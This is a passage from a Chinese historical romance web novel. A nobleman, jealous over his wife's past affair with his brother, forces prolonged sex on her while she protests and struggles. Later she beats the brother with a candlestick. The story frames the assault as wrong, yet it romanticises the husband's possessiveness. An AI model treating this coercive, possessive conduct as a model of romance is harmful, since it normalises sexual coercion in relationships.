两个人吃晚饭的时候,江辞镜还是一言不发,沈若芙试探地给他夹了几次菜,他都一声不吭,也没有像以前一样给她夹菜。 快吃完时,沈若芙终于忍不住问他:“你今日怎么突然不爱说话了,是在想朝堂上的事吗?” 江辞镜本来就是内敛沉默的性子,只有在沈若芙面前话才会多一些。 他没有回答,只是点点头,算是承认了。 见他如此反常,沈若芙积攒了一夜的那股不安,终于从内心深处涌了上来。 用过晚饭,江辞镜又以处理公务为由去了书房。 沈若芙也没干坐着,立即悄悄差了飞雪出去外头打听。 飞雪找到了门房的一个小厮,塞了二两银子,得知世子爷昨晚根本就没出门,而是一直在外院书房待着,今早天亮后才出去的。 沈若芙听到飞雪的回禀,全身的血仿佛都凝住了。 江辞镜骗了她。 而以沈若芙对他的了解,他会欺骗她的理由,只有一个。那就是江辞镜已经知道了。 为什么?江辞年为什么突然改变主意?难道从一开始江辞年就在糊弄她? 可这么做的理由是什么? 早一点说晚一点说,对江辞年来说有区别吗? 沈若芙想不明白,她能猜想到的就是江辞年在向江辞镜说起他们的过去时,肯定会大肆添油加醋,把白的说成黑的,就想他当初在江辞舟跟前胡言乱语一样。 只是江辞镜既然知道了,为什么不来问她? 他心里在想什么? 他们这门亲事是皇帝御赐,不出意外,国公府是不能随意休弃她的。如果江辞镜很介意她与他弟弟的过去,想休弃她,那肯定需要经过一番精心的筹划。 所以,这就是江辞镜选择暂时避而不谈的原因吗? 想到这,沈若芙的心一点一点冷下来。 其实她想告诉江辞镜,如果他真的要休了她或与她和离,她不会反抗。 倒不是沈若芙认为自己有何过错,只是她已经真心爱上了江辞镜,既然江辞镜介意她的过去,那她宁愿被他休弃,承受外人的耻笑,也不愿意继续留在这个家里,终日面对爱人失望厌恶的眼神,那会令她心碎。 主动离开,起码还能留下一点美好的回忆。 更漏声声,沈若芙捧着昨夜看到一半的话本,却一个字都看不下去。 她没有勇气去找江辞镜坦白,干脆早早沐浴更衣,到床上躺着休息。 第二百零二章 江辞镜,你是不是疯了? 快到一更天的时候,江辞镜回来了。 沈若芙听到动静睁开眼,盯着面前的床板,没有动弹。 过了一会儿,身后的床褥陷了下去,江辞镜躺进被窝里,向往常一样将她搂进怀里,然后低下头亲了亲她的眉心。 沈若芙感受到这副温暖坚实的身躯,眼眶一下就红了。 她伸手紧紧搂住他的腰身,把脸埋在他胸膛前,心里想的是,哪怕只有一点希望,她都不想松开他。 “晚上一个人都做了些什么?” 江辞镜想知道,当他躲在书房痛苦挣扎时,她是否无知无觉。 沈若芙答道:“看了会儿话本就睡了。” “看的什么话本?”江辞镜问。 沈若芙:“都是些不入流的市井话本,真说出来怕是要惹世子爷笑话了。” 江辞镜想到了那本被她翻来覆去,翻到书页泛黄的《宛娘与铁匠》,眸光一黯。 她倒是清楚那些话本上不得台面,还是爱不释手。这是不是就像她对江辞年的感情一样,即便她已成为有妇之夫,却依旧割舍不下对小叔子的感情。 或者反过来说更准确,她就是不愿意嫁给他,更想与小叔子在一起,才会对那本大逆不道的话本情有独钟。说不定,还在心里盼着自己能像宛娘的丈夫一样出意外,如此一来,她便能与小叔子行那不轨之事。 晚饭后,江辞镜把自己关在书房里冷静了整整两个时辰,才能以平静的姿态回来面对沈若芙。可因为她的一句话,江辞镜那引以为傲的自制力再度溃不成军。 他拖着沈若芙的脖颈,往后退了一点,好看清她的脸。 沈若芙抬起头,看到了一双深不见底的眼眸。 她正想说什么,江辞镜的吻突然落了下来。 他吻得又急又凶,比过去的每一次都要霸道。好几次沈若芙感觉自己几近窒息,却强忍着没有推开他。 江辞镜很快就发觉,今夜的沈若芙格外的顺从。 以前她虽然也很懂得如何从中寻找快乐,但因两人的体格差距较大,所以每回到最后,她都是对他又哭又打,没少因为他不知节制而生他的闷气。 今夜却没有。 无论江辞镜使出什么招数,沈若芙都只是默默忍耐着。两只小手把底下的褥子都快抓破了,也没有推他一下。 江辞镜身体上固然是愉悦了,心里却逐渐不得劲起来。 从傍晚到现在,他虽没对沈若芙发过脾气,但他昨晚彻夜未归,以她的聪慧,肯定看出自己的异常了。而且很可能,她已经猜到了他心情不好的原因。 所以她今夜表现得这样听话和乖巧,是因为心虚还是愧疚? 或者说,她担心自己会迁怒江辞年,想用这种法子来讨他的欢心,让他对他们这对苦命鸳鸯手下留情? 门都没有! 江辞镜妒火中烧,故意加重了力道。 他倒要看看,沈若芙能忍到什么时候! 沈若芙觉得江辞镜简直疯了。 足足两个时辰,他把她撞上去又拉下来,一次又一次。每回结束,他甚至都不肯给她喘口气的时间,就开始了新的一轮,仿佛永远不知疲倦。 再这样下去,就是铁打的身子怕也不够他折腾。 沈若芙试着去推他,口中含糊不清的说着够了。江辞镜却好像终于看到了自己想要的,激动得眼尾猩红,不由分说地按住她的手腕。 这就不行了?看来她对江辞年的情意,也不过如此! 江辞镜力气大,沈若芙流干了眼泪,嗓子都喊哑了,也没能制止得了他分毫。 恍惚间,她透过一双朦胧的泪眼,看着江辞镜,竟然从他身上尝到了一丝报复的快感。 沈若芙心里一慌,再也顾不上会不会激怒他,剧烈地挣扎起来,朝他喊道: “江辞镜,你是不是疯了!” “你放开我!” 一个晃神,江辞镜禁锢着沈若芙的手稍微松了点力道。 沈若芙得以趁机挣开手腕,一巴掌朝他脸上打了过去,“啪”的一声,随后飞快地将他推开,起身跳下床榻,狼狈地往净房冲去。 门合上的那一刻,沈若芙的泪水夺眶而出。 她随手从架子上取下一块巾子,将自己紧紧裹住,抱着自己软绵无力的身体,蹲到地上,放声大哭起来。 江辞镜呆滞地坐在床上,直到听见净房里传来沈若芙的哭声,才反应过来自己都干了些什么。 他静静坐了片刻,下了床榻穿好衣裳,朝净房走去。 停在门外,江辞镜抬起叩门的手,学着弟弟的语气,小小声地唤了一声“阿芙”,却怎么也敲不下去。 这天夜里,江辞镜在门外站了很久很久,一直到那令他心如刀割的哭声渐渐小了,才转身出了房门。 …… “夫人,夫人。” 沈若芙蹲在门板后哭到声音都沙哑了,眼皮困得发沉,才停了下来。她把头枕在自己手臂上,脑袋昏昏沉沉的,忽然听见门外传来飞雪的声音。 飞雪来了,江辞镜应该走了吧? 沈若芙扶着墙壁站起身,小心翼翼地将门打开一条缝。 顺着缝隙往里看去,飞雪看见了夫人红肿得像核桃一样的眼睛,以及身上裹的巾子,吓了一大跳。 适才世子爷出去叫飞雪进来伺候夫人的时候,飞雪就大致猜到发生了什么。 夫人终究是没能躲过这一天。 可飞雪无论如何也想不到,世子爷居然会这样对待夫人,实在太过分了。 再怎么说,夫人也是世子爷明媒正娶的妻子呀!何至于用这种手段折辱夫人? 没等飞雪开口为夫人鸣不平,沈若芙道:“你去准备衣裳,伺候我沐浴吧。” 飞雪压下难过,应了声“是”。 沈若芙不知道江辞镜离开房间后去哪了,也不想问,把自己清洗干净后就睡下了。 她躺在已经换了干净床褥的床上,感觉全身上下都是疼的,心口也疼得厉害。然而疼痛没能抵住如潮水般袭来的困意,她一沾枕头便沉沉睡去。 沈若芙这一觉睡到了第二天正午,睁开眼时,她盯着身侧空空如也的床榻看了好一会儿,才摇了摇床边的铃铛,叫飞雪进来伺候自己更衣洗漱。 飞雪服侍她梳头时告诉她:“一个时辰前,初姐儿带着七少爷他们过来了,说下午想约夫人一起去园子里踢蹴鞠,奴婢借口夫人身体不适,替夫人拒绝了。” 沈若芙透过镜子望着自己布满血丝的眼眸和眼下的乌青,心想,初姐儿要是看到自己这副模样,一定会被吓到吧。 “我现在确实没什么心情玩乐,你做得对。” 沈若芙昨天用了一晚上的嗓子,一开口,声音哑得不成样子。 江老夫人听说她身体不适,下午差了庄妈妈带了补品过来看望她。 沈若芙只说是这几日骑马时着了凉,嗓子有些疼,没什么大碍,庄妈妈关切了几句,却从世子夫人一双黯淡无神的眼眸里嗅到了一丝不寻常的意味。 第二百零三章 是你先来招惹我的 江辞镜在官署躲了一天,直到夜里过了一更才回到家中。 他走近锦明堂的院子,见窗户里一片漆黑,以为沈若芙已经睡了,便直接去了东次间。 世子爷已经很久没有一个人在东次间歇息了,东次间里也就没有留灯。 守夜的丫头去端了烛台过来,江辞镜不需要人伺候,接过烛台,便让丫头退下,自己进了东次间,将屋内的烛台依次点亮。 火光照亮了堂屋,沈若芙的身影也出现在了罗汉床上。 “昨晚刚欺负完我,现在又要开始躲着我了是吗?江辞镜,你还是不是个男人?” 江辞镜没想到她居然先发制人,把视线投向别处不去看她:“我没躲着你,只是暂时不想见你。” 沈若芙站起身,朝他走过去:“昨晚你那么过分的对我,我也不是很想见你,可我必须要来问一问。” 江辞镜半晌没听到她开口,看向她有些苍白的脸。 沈若芙直到他肯直视自己了,才问:“我问你,昨晚你做那些事的时候,心里都在想什么。” 江辞镜沉默片刻,轻声道:“我在想,我的妻子,心里为何爱的是别的男人。” 沈若芙抿了抿唇,“这是谁告诉你的?你弟弟?” 江辞镜不说话。 沈若芙失望地看着他:“敢情你听了你弟弟的一面之词,就跑来冤枉我。江辞镜,你和江辞年果然是一母同胞的亲兄弟,以前是他伤害我,现在连你也跟着来欺负我,我沈若芙这辈子真是倒了大霉,才会碰上你们俩兄弟!” “所以你承认了?”江辞镜急切地问,“所以你承认了你以前和他好过?” “是又如何?”沈若芙正色道,“我是喜欢过他,那时我年纪尚小,识人不慧,被他的美色与花言巧语所迷,可他深深的伤害了我,把我对他的情意当作泥巴一样踩在脚底下,我若是还继续喜欢他,那我就是大傻瓜。” 江辞镜认真听沈若芙讲完了所有的话,追问道:“后来辞年后悔了,你也没有再与他重修旧好?” “没有。” 江辞镜:“他去苏州前,曾向你求亲,你也没有答应?” 沈若芙顿了顿:“没有。” 江辞镜垂下眼帘。 沈若芙:“你弟弟那张嘴,会如何编排我,我都不意外,我意外的是,你居然信了。难道我在你眼里,就是一个如此没有自尊的女人?” “可你为他上吊自尽了。”这也是江辞镜最在意的地方。 “沈若芙,你告诉我,一个女人要爱一个男人到什么地步,才会因为无法嫁给他而宁愿去死?” “你做出了这样的事,要我怎么相信你不是那个大傻瓜?” 沈若芙冷笑:“你只知道我为了一个男人上吊,却不知道我被他欺骗了感情,不知道我被他未过门的妻子当着全家人的面骂我是个勾引有妇之夫的贱女人,更不知道我事后被我父亲和继母她们轮番指着鼻子辱骂我丧德败行不知羞耻!” “你什么都不知道……你就知道来怪我……” 说到最后,沈若芙已是泣不成声。 江辞镜呆愣住。 “江辞镜,你别忘了,当初我可不是自愿要嫁给你的……即便后来我们解开误会,我身在这样的处境中,也不可能主动告诉你那些事。我唯一能做的,就是疏离你,拒绝你的情意。” 沈若芙委屈地咬了咬下唇,泪流不止:“我本来没想喜欢你,是你先来招惹我的……” 江辞镜看着沈若芙闪着盈盈泪光的眼眸,耳边全是她那声“喜欢”。 这两天江辞镜一直躲着沈若芙,无非就是怕亲耳听到沈若芙说她喜欢的人是弟弟,可她现在却说她喜欢的人是他江辞镜…… “那后来呢?辞年回来的这段时间,你为何一而再再而三的关心他?你是以什么身份在做这些事?” 江辞镜不喜欢自己斤斤计较的样子,显得既卑微又不够大度,可他忍不住要计较。 很多细枝末节的东西,就像一根极小极小的刺,扎在他心里,看不见也摸不着,却让他无比难受。 沈若芙反问:“我关心他?他一回来就威胁我要把我们的过去说出去,破坏我和你的关系,我怎么可能去关心他?我对他避如蛇蝎。” “是他主动告诉我,他已经放下了,不会再纠缠过去。我明知道他是什么人,却还是傻傻的信了他的话。以为我和江辞年真的能像普通家人一样相处,我和他相处好了,才能无后顾之忧地与你好好过日子……” 沈若芙低下头,吸了吸鼻子,平复了一下情绪,哑声道:“如果你真的那么在乎你的妻子,在和你成亲前有过相好,我可以跟你和离,但你要把所有的过错全都推给我一个人,我绝对不认。” 江辞镜陷入沉思。 他相信沈若芙已经不爱江辞年了,也相信沈若芙自尽的理由不全是因为江辞年。可江辞镜还是嫉妒。 沈若芙和江辞年曾有过那么多美好的过去,这是他永远无法改变的。 以后每一次他与沈若芙在一起,面对沈若芙的每一个笑容每一句话,都会忍不住去想,她和弟弟在一起时,是什么表现,是不是也如这般讨人喜欢? 想到他们之间不再是独一无二的,江辞镜便妒火中烧。 长此以往,江辞镜害怕自己真的会失去理智,忍不住做出折磨沈若芙事来。 思绪收拢,江辞镜回答道:“我不会跟你和离,不管是为了国公府不得罪圣上也好,还是为了旁的什么也好,我都不会跟你和离……” “你让我再好好想一想……”江辞镜最后再看沈若芙一眼,垂下眼眸,决绝地转过身,缓步离去。 沈若芙立在原地看着江辞镜消失在门口,哭得上气不接下气。 …… 江辞镜接连三日没有回来。 沈若芙以为他再怎么也不至于不回家,只是一直待在外院的青鸟阁。毕竟他们二人刚成亲时,江辞镜误会她是细作,都会为了不让祖母操心,而跟她做做样子。 到了第三天去给老夫人请安,才无意间从老夫人口中得知,江辞镜已经三日未归了。 第二百零四章 暴揍 听江三爷说,下个月军中有大演武,往年大演武,江辞镜早晚都要忙着练兵,有时连续在军中住大半个月都不是稀奇事,故而江老夫人并未多想。 沈若芙却心如死灰。 不论如何,事情总要有个结果,沈若芙决定去找江辞年谈谈。 和江辞年谈话,一个不慎就会闹得鸡飞狗跳。 有了上次的教训,沈若芙不敢再在家里见江辞年,借口要回孟家,把江辞年约到了自己名下的一处别院。 “江辞年,你为何突然出尔反尔?” 江辞年翘着二郎腿坐在窗边喝茶。 “我何时说过我已经放下了?” 沈若芙:“你和江淮雪说的那些话,还有后来的,不是放下了是什么?” 听到这话,江辞年转过来,认真和她掰扯。 “首先,我威胁江淮雪,只是不让她把我们的事说出去,又没说我自己不能说出去。你我的事轮不到江淮雪多嘴多舌。” “再者,我那些反省的话,的确都是肺腑之言,可认识到错误是一回事,想不想改正就是另一回事了。” 沈若芙气不打一处来。 她早该知道的……她被这人骗过一次,居然还对他心存妄想! 江辞年接着道:“最后,当初我也如实和你说了,虽然你嫁给了我大哥,但我依旧喜欢你。可我大哥那么好,我要是不耍点小伎俩,等你厌倦了我大哥,估计我侄儿都满地跑了。你说是不是?” 沈若芙质问道:“你所谓的小伎俩,就是让我放松警惕,好把我打得措手不及是吗?” “当然不是。”江辞年略有些得意地看她一眼,却又在瞥见她眼中的厌恶时收起了嘴角的笑容。他站起身,缓缓朝沈若芙走去。 沈若芙警惕地往后退了两步,握住飞雪的手。 “我原本是想找个机会把事情告诉我大哥的,可后来我无意间和大哥谈了谈,发现他比我想象的还要爱你,如果我直接把话说明,让你有和他坦白解释的机会,说不定,我大哥就原谅你了。到那时,我就彻底出局了。” “可如果我假装改过自新,明面上引诱你主动来亲近我,背地里从中挑拨,等到大哥已经起了疑心,再来把事情说清,你说,结果又会如何?” 话音一落,沈若芙一巴掌打了过去。打一巴掌不解气,抬起另一只手又是一巴掌。 “我就知道,你这张烂醉一张口就是污蔑我!” 江辞年没有还手,捂着脸不服气地:“这都是你逼我的!” “你要早答应离开我大哥改嫁我,我又何至于此?” 沈若芙抬高声音:“我凭什么要嫁给你?就算全天下的男人都死光了,我也不可能嫁给你!” 她撕心裂肺地喊着,一想到她解释得再努力,这些话对于江辞年而言都全无用处,她便绝望地红了眼睛。 沈若芙平复了一下情绪,轻声道:“江辞年,和你分开后,我一度觉得我在你心里是不是很下贱,每天都躺在床上流眼泪,整夜整夜的睡不着觉……” “是你哥哥让我明白,什么才是真的喜欢和尊重。相比之下,我和你以前的那些所谓的男欢女爱,夹杂了很多冲动,太幼稚太肤浅了,根本就不值得一提……” 江辞年起初还沉默着,听到这话直接怒了:“沈若芙,你爱我哥哥可以,但你要想把我们的过去贬得一文不值,我告诉你,门都没有!” “人家上铺子买个包子都要讲究先来后到呢,凭什么感情就不讲了?你不在乎我的承诺,背着我嫁给我哥哥,我不怪你,毕竟你也是被逼的。既然现在我回来了,那你就应该离开他改嫁于我,反正我哥哥也不要你了,你再这么赖着他有什么意思?” 沈若芙被他那句“不要你了”刺痛了心脏,鼻头一酸,喉中带了几分哭腔:“若不是你从中作梗,我与世子爷又怎么会走到今天这个地步?江辞年,我恨你。” “恨我?”江辞年不敢相信自己听到了什么。 沈若芙居然说她恨自己,就连一年前,两个人分开时,她都不曾说过她恨他…… “沈若芙,不是天下所有的女人都能得到我的真心的,我这么喜欢你,你居然恨我?是不是我之前对你太好了,才让你这么不知好歹?” 沈若芙“呸”了一声:“就你那点喜欢,谁爱要谁要,我沈若芙不在乎!” 说罢,她转身就走。 江辞年眼睛发红地瞪着沈若芙的背影,高声喊道:“有本事你就杀了我,否则就算闹到祖母和父亲面前去,我也不会放过你的!” 沈若芙顿时停住脚步,身上冒出一股冻人的寒意。 …… 江辞镜从探子口中得知江辞年去了沈若芙的别院时,立即丢下军务,叫江炎牵来惊风,骑着马离开了军营。 军营离沈若芙的别院有将近三十里,并不算近,江辞镜骑着良驹一路疾驰,即使他骑术高超,还是有两三次险些撞到行人。 其实江辞镜并不觉得沈若芙是去和江辞年私会的,认为他们余情未了,她主动约江辞年出去,很可能只是想把话说清楚。可他还是不希望沈若芙去见江辞年,尤其在他不在场的情况下。 赶到别院时,江辞镜气还没匀上来,就看见了一个他以前从未见过的沈若芙。 “……既然你要我杀了你,那我就随了你的心愿。” “你不是很嚣张吗?为什么不还手?我倒要看看,我们之间的破事到底还能不能了结了……” “你起来啊,起来还手!” 沈若芙手里抓着烛台,一下一下用力往江辞年身上打着。 江辞年躺在地上,只是用手护着自己的后脑勺,没有还手,整个人如同木偶般一动不动,面如死灰。 江辞镜惊讶地走进门,质问道:“你在做什么?” 见到江辞镜,沈若芙停下来,握着烛台的两条手臂缓缓下垂,手一松,烛台“砰”的一声掉在了地上。 江辞镜急忙朝江辞年走去,蹲下身将他的身体翻过来,看到了一张被打得鼻青脸肿的脸。 第二百零五章 江辞镜,我们和离吧 江辞镜扭头向沈若芙投去一个严肃的目光,叫了江炎等护卫进来,把江辞年抬到马车上。随后跟在后头便要离开,全程都没跟沈若芙说一句话,也没再看她。 “江辞镜,我们和离吧。” 当江辞镜走到门槛前,沈若芙忽然说道。 江辞镜以为自己听错了,没有回头:“你说什么?” “我们和离吧。”沈若芙又重复了一遍。 “你说你不会跟我和离,可现在我不想再继续受折磨了,不如我们就此好聚好散,放过自己,也放过彼此,好吗?” 江辞镜皱眉:“我和你说过,我需要时间再好好想一想,你听不明白吗?” 沈若芙含泪抿唇。 江辞镜面朝院子静静地等着,没等到沈若芙的回答,却听见了低低的啜泣声。他心烦意乱了一会儿,跨出门槛。 …… 江辞镜离开了,沈若芙绝望的在别院里坐到外头太阳落山,才让丫头打水来,洗了把脸,乘马车回府。 一回到国公府,沈若芙就被江老夫人叫了过去。 走进堂屋,见齐国公也在,沈若芙不免开始惶惶不安。 江老夫人让沈若芙坐到自己身边来,握着她的手问:“你今日去探望你外祖母,你外祖母身体状况如何?” 沈若芙应道:“外祖母还在喝药,但相较之前,已经好了许多了。” 江老夫人颌首:“那就好。” 她看了眼齐国公,接着道:“这会儿叫你过来,是想告诉你,方才皇上下旨传辞镜入宫面圣了。” 沈若芙疑惑道:“出什么事了?” 江老夫人:“瓦剌的土默特部首领率领三万铁骑进犯我大梁边境,今日中午快报送到,陛下便立即召内阁与六部大臣入宫商议此事,你父亲估摸着陛下是想让辞镜带兵出征。” 江辞镜要去打仗了? 他是武将,保家卫国是他的职责,可沈若芙没想到,他会碰巧需要在这个时候离开…… 沈若芙心里一团乱麻,想了想,和老夫人说:“世子爷是大梁的将军,如今边境有难,世子爷自当带兵出征,守卫大梁。不过,世子爷过去曾与瓦剌交手过数次,妾身相信,这次世子爷定也能化险为夷,凯旋归朝的。” 江老夫人专门把沈若芙交过来告诉她此事,是因为这是她嫁过来后江辞镜第一次出征,怕她一个年轻媳妇会胡思乱想。想不到,她却反过来安慰自己。 “以前老国公爷出去打仗,祖母忧心他,总一个人待在屋里胡思乱想。等辞镜走了,你若觉得无聊,就时常过来和祖母和几个妯娌说话,想回娘家住一段时间也可以,有什么心事,尽管告诉祖母。总之,别一个人闷着。” 沈若芙道:“多谢祖母关心,妾身都明白。” 从承安堂出来,沈若芙便差了丫头悄悄去打听江辞年,得知江辞镜将江辞年送回冠云堂后没多久,便奉旨入宫了。 江辞镜是申时两刻进的宫,今夜大抵来不及也不会回府了。沈若芙也就没有等他,照常做自己的事情,入夜后便睡下了。 翌日起来,吴妈妈告诉沈若芙,今日一早元康帝下旨,大同战事危机,命世子爷即刻带兵出征,今天晚上大军就要出发了。 “这么快?”沈若芙不知道自己现在是什么心情。 今夜出发,有些家里住的远的士兵,怕是都没法回家里与亲人告别,就要到军营集结了吧? 好在江辞镜住的近,快马来回,时间虽紧张了些,但和家人见一面待上一两刻钟还是来得及的。 快到正午的时候,蹲守在门房的小桃急匆匆地跑回来告诉沈若芙,说世子爷回来了。 沈若芙心想着江辞镜大概要先到江老夫人和齐国公那边去,才会来锦明堂,便先在屋里坐了一会儿才到院门外去等着。 如此,江辞镜能少走一段路,节约点时间,两人也能多说几句话。 只是沈若芙在院门外站了许久,也没等来江辞镜的身影。 她不死心,又差了小桃去打听,却得知江辞镜在承安堂拜别过江老夫人与齐国公后,便绕过她这里直接去了冠云堂。 沈若芙心里一酸,红着眼睛回了锦明堂。 …… 冠云堂。 自从昨日下午被抬回来,江辞年就一直不吃不喝地躺在床上,全身上下透着一股死气。 “吱呀”一声,隔扇从外头打开。 “说了我不吃,何荣你……”江辞年不耐烦地转过头,对上江辞镜的黑眸,说到一半的话,生生咽了回去。 江辞镜面容冷峻:“你多大年纪了,还搞绝食这一套。” “你管我。”江辞年撇过头不看他。 江辞镜:“你放心,我不是来教训你的,还有两个时辰我就要带兵出征了,也没有心情再教训你。” “我来,是想提醒你,我不在的这段时日,我会让我的贴身护卫每天十二个时辰寸步不离地守着你大嫂,你最好给我老实一些,若再胆敢纠缠你大嫂,就别怪我不认你这个亲弟弟。” 江辞年挑眉:“纠缠?那大哥可得说清楚了,什么样才算纠缠?我和大嫂是一家人,一家人在一块说说笑笑,踢踢蹴鞠,打打马球,培养一下感情什么的,应该不算纠缠吧?” “那瓦剌人那么凶残,大同离京城又远,大哥再英明神勇,这一来一回,最少也得四五个月。大哥和大嫂成亲才多长时间来着?” 来前没想发怒的江辞镜忍不住咬紧了牙关。 不过很快江辞镜的神色便恢复了平常,讽刺道: “你大嫂都把你打成猪头了,你还在妄想你和她的关系能回到从前。你当真以为这世上所有女人都没有自尊心吗?” 顶着一张猪头脸的江辞年再笑不出来。 江辞镜望向窗外,缓缓道:“起初我也以为,你如此固执的想要得到你大嫂,哪怕违背伦理纲常的也不在乎,是对你大嫂情根深种。现在看来,其实你只是不敢面对自己犯下的错误罢了。好像只要你大嫂原谅了你,你过去对她的伤害就可以一笔勾销。” 江辞年脸黑如墨。 “江辞年,不要再自欺欺人了。无论你使出什么把戏,我都不会离开你大嫂,你没有机会了。” 第二百零六章 大哥,求你把阿芙还给我吧 江辞镜平静地说:“等我打完仗回来,我和你大嫂会回到以前的样子,继续幸福的生活在一起,我们还会生儿育女,争取一年内让你抱上侄儿,希望等你当了叔叔,性格能变得成熟稳重一些,这样等你下回再遇见心悦的姑娘,不会再犯同样愚蠢的错误。” 亲哥哥就是亲哥哥,没人比江辞镜更懂得怎么刺激江辞年。 这回轮到江辞年咬紧了牙关。 “言尽于此,你好自为之,我走了。” 江辞镜最后看他一眼,转身离去。 江辞年突然从床上一跃而起,“扑通”一声跪到地上,一把抱住江辞镜的大腿,哀求道:“大哥,算我求求你了,你把阿芙还给我吧!” 江辞镜脸一沉,抬起腿想挣脱他。 “放手!” 江辞年用尽全部力气,死死抱着:“……从小到大,不管我想要什么,大哥都会让给我,你就再让一次吧。我保证,这次我一定会好好对阿芙,绝对不会再让她伤心了……” 江辞镜听得一肚子火气,怒吼道:“我让你放开!” 都什么时候了,还要执迷不悟,还要气他。 江辞镜真想一脚朝江辞年心窝踹下去,然而当江辞镜回过头,看见眼前的弟弟哭得泪涕横流,全然不见昔日那个意气风发的少年,终究是没能下得去脚。 “大哥,我求求你了……” 江辞镜不再看他,用力将自己的腿从他怀中抽出来。 江辞年狼狈地扑倒在地平上,看着哥哥逐渐消失在视线里。 …… 冠云堂外,江炎一瞧见世子爷出来,便迎了上去,道:“世子爷,时间差不多了,您要去见世子夫人吗?” 见吗? 江辞镜自然是想见的,可他不确定沈若芙想不想见他。 如果不见,他们才成亲四个月,就突然分开这么长时间,万一等他回来,她对他的感情变淡了怎么办?又或者,她遇到了哪个比他更好的男人,移情别恋了怎么办? 江辞镜这辈子是只能爱她沈若芙一个女人了,沈若芙一辈子却可以爱很多个男人,只要对方足够好…… 想到这,江辞镜决定还是要过去看一看沈若芙,和她道个别。起码要让她知道,虽然他还在生她的闷气,但他还是想要和她共度一生。 如果沈若芙能努力对他更好一些,起码要比她当初对江辞年好上十倍,说不定有一天,他就不再嫉妒江辞年了。 江辞镜带着江炎去了锦明堂。 正在院子里洒扫的婆子见到穿着一身盔甲的世子爷,连忙给他行礼请安。 江辞镜问道:“夫人可在屋内?” 那婆子回道:“回世子爷,奴婢方才瞧见,夫人带着八小姐出去外头玩了。” 江辞镜面如死灰。 她走了,明知自己今天就要出征,会回府,却还是走了…… 她就这么不想见他吗? 哪怕他有可能战死沙场,再回不来,也不想见? 婆子见世子爷面有愠色,问:“世子爷,您可需要奴婢出去找找夫人,告诉夫人您要见她?” “不必了。”江辞镜冷冷地说。 过去的每一次出征,江辞镜都抱着视死如归的决心。可这一次,江辞镜却暗暗在心底发誓,他一定要活着回来。 活着回来,让沈若芙断了与他和离的念头,这辈子都只能做他江辞镜的妻! 活着回来,让贼心不死的弟弟没有觊觎寡嫂的机会! …… 再说沈若芙,早些时候,她正躲在屋里默默垂泪,江淮初突然过来了。 小姑娘猜到大堂嫂可能会因为大堂哥出征而心情不好,特意过来邀请大堂嫂去她的闺房里和她的小姐妹们一起玩耍。 沈若芙自己的日子过得一团糟也就算了,可不能再拂了小姑娘的一片好意,于是便洗洗脸跟着去了。 一直玩到太阳下山,罗淑燕又留沈若芙在三房用了晚饭,沈若芙才回了锦明堂。 她屏退丫头,独自走进内室,发现四下空无一人,才突然意识到,江辞镜走了。 其实除了休沐日,江辞镜几乎每天都早出晚归,所以锦明堂里大多数时候都只有沈若芙一个人。 可不知为何,此刻的锦明堂,却格外令沈若芙感到孤独与寂寞。 江辞镜离开后,沈若芙的日子又恢复到了宁静,仿佛之前的争吵与爱恨全都是她的一场梦。 一个月后,云南多地因接连半个月的暴雪而爆发了灾情,江二爷受封钦差前去赈灾,江辞年也跟着去了。 沈若芙不知江辞年是如何同意去办这种苦差事的,只听说这是齐国公爷的安排。 到了春暖花开的三月中,虽瘸了腿也依旧闲不住的齐国公决定带领家人们去香山打猎,全家除了上了年纪的江老夫人,要管家的王素仪和要照顾幼子的二夫人马氏、五夫人陈云瑛,全都出动了。 就连江淮初和江辞轩也有模有样地骑了一匹小马驹,在护卫的护送下参与了进来。 往年狩猎,都会通过抽签的方式三个人分成一组,今年因为好几个作为主力的男丁都不在,齐国公便让大家伙自行组队,不再进行比试,以玩乐为主。 罗淑燕出身将门,身手不凡,每年都在女眷中拔得头筹。她担心沈若芙落单,又得知沈若芙是第一次狩猎,便主动提出让沈若芙和她、初姐儿三人组队,指导沈若芙如何寻找、驱赶猎物。 下山的时候,沈若芙在罗淑燕的帮助下猎得了两只野兔和一只野鸡,对于第一次“出征”的她而言,可谓是收获颇丰。 罗淑燕自己却只猎得了一头鹿、三只野兔、四只野鸡。 从香山回来后,沈若芙就大病了一场。 曾大夫说,沈若芙是因为换季没有注意保暖,而感染了风寒。 江老夫人却觉得沈若芙年纪轻轻,平日里看着身强体健,骤然病倒,定是与太过忧心在战场上的丈夫有关。 江老夫人能看得出来,江辞镜走后,白天沈若芙虽依旧和女眷们有说有笑,但那笑容深处明显与以往不同,多了几分难以觉察的忧郁。 到底是年轻媳妇,扛不住事。 第二百零七章 宽慰 江老夫人就安慰她:“当年老国公爷第一次外出打仗时,我白日里还好,一到夜里,便容易胡思乱想,忧心得整夜整夜睡不好觉,不出半月就病了一场。后来妯娌们每天都带着我找其他事做,不让自己闲下来想别的。再后来,我也渐渐看开了。” “既然嫁给了武将,便注定会经历这些事,再怎么担心也无济于事,倒不如学着看开一些,过好自己的日子,实在放不下,就为他抄经书,念经祈福,心里有什么情绪,别积攒着不发泄出来。” 面对老夫人的好心劝慰,沈若芙不知道该说什么好,只是点了点头。 沈若芙这一病就病了半个月,进了四月才完全好转。 彼时府中花园里牡丹花都盛开了,据说其中有许多名贵的品种,是在别都看不着的。 两个丫头便提议陪夫人去园子里赏花,出去散散心。 微风拂面,沈若芙坐在石桌旁,看着满园的姹紫嫣红,心境开阔了不少。 忽然,身后传来一道道轮子滚动的声音,沈若芙转过头,看见齐国公独自推着轮椅过来了。 沈若芙正欲起身给齐国公请安,齐国公微笑着摆摆手:“不必多礼,好好坐着吧。” 自打齐国公受伤后,这府里的每一道门槛和每一处台阶都改建有斜坡,以确保轮椅能够畅通无阻。能多少还是有些不方便的地方,所以沈若芙见齐国公独自前来,便猜到他可能有话想和自己说。 待齐国公将轮椅推到石桌旁,沈若芙问:“父亲也出来赏花?” “是呀。”齐国公看了看四周的景色,“这些花都是去年九月我吩咐花匠栽种下的,光是牡丹就种了十一个品种,花了我一万两千两白银呢,怎么样?这钱没白花吧?” 沈若芙微笑道:“儿媳长这么大,还从未见过如此美丽的景致,的确物有所值。” 齐国公笑道:“你们喜欢就好。其实这还不算最好的,父亲年轻时在洛阳见过有两个碗口那么大的牡丹王,花瓣层层叠叠,用富丽堂皇来形容也不为过,见过一次就再忘不了,可惜不太适合在京城种植,等那天有机会,让世子带你去瞧瞧。” 别的公爹都觉得女子出嫁后便应该安分守己,待在后宅为夫家操持内务,照料一家老小,齐国公却不以为然。他在男人中,不管是对妻女和儿媳都算是十分开明的。 沈若芙忽然想到什么,迟疑片刻,问:“父亲,儿媳可否问您一个问题?” 